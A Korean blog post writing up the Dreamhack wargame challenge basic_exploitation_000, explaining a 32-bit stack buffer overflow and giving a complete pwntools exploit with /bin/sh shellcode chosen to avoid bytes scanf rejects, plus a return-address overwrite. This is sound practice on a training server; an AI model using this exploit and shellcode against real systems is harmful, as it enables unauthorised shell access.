[Dreamhack] basic_exploitation_000

653o·2025년 3월 2일

dreamhack

목록 보기
4/6

문제 분석

설명을 보면 우분투에서 동작하고 보호기법은 없으며 rwx segments가 있다는 것을 알 수 있다....

다음으로 코드에서는 30초 시간제한, buf의 크기는 int(0x80) = 128이고 scanf에서 buf로 받는 값은 141임을 알 수 있다.
여기서 overflow취약점임을 알 수 있다.

Stack Frame Structure

따라서 스택 프레임 구조는 다음과 같을 것이라고 생각된다..

32비트 체제를 쓰고 있으므로 SFP와 ??(overwrite 해서 기존 buf의 주소로 return address 할 곳)는 각각 8bytes가 아닌 4bytes를 차지할 것이다.

payload

payload를 작성해보면
또 다시 만능같은 만능아닌 툴 pwntools를 사용해 다음과 같이 작성할 수 있다.

from pwn import *

arch = "i386-32-little"
r = remote("host1.dreamhack.games",17606)

r.recvuntil("buf = (")
buf_address = int(r.recv(10),16)

shellcode = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

payload = shellcode
payload += b'A'*(128-len(shellcode)+4)
payload += p32(buf_address)
r.send(payload)

r.interactive()

처음에는 그냥 shellcode를 shellcraft.sh로 해봤지만 EOF가 뜨거나 error가 뜨거나...
그래서 검색하고 질문도 읽어봤더니 scanf 가 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못한다네요..?!
그래서 인터넷에서 우회 코드를 찾아서 shellcode에 넣었습니다

shellcode 종류_velog

이후 python3 <파이썬 파일 이름>.py를 실행하면

이렇게 되긴 하더라고요....
근데 처음부터 cat flag를 하면 안되더라고요... 그 이유는 찾아보고 작성하겠습니다..

profile
hehehe fk u

2개의 댓글

comment-user-thumbnail
2025년 3월 20일

pwntools에서 send와 sendline의 차이를 확인해보시면 좋을 것 같아요~!~!~!~!

1개의 답글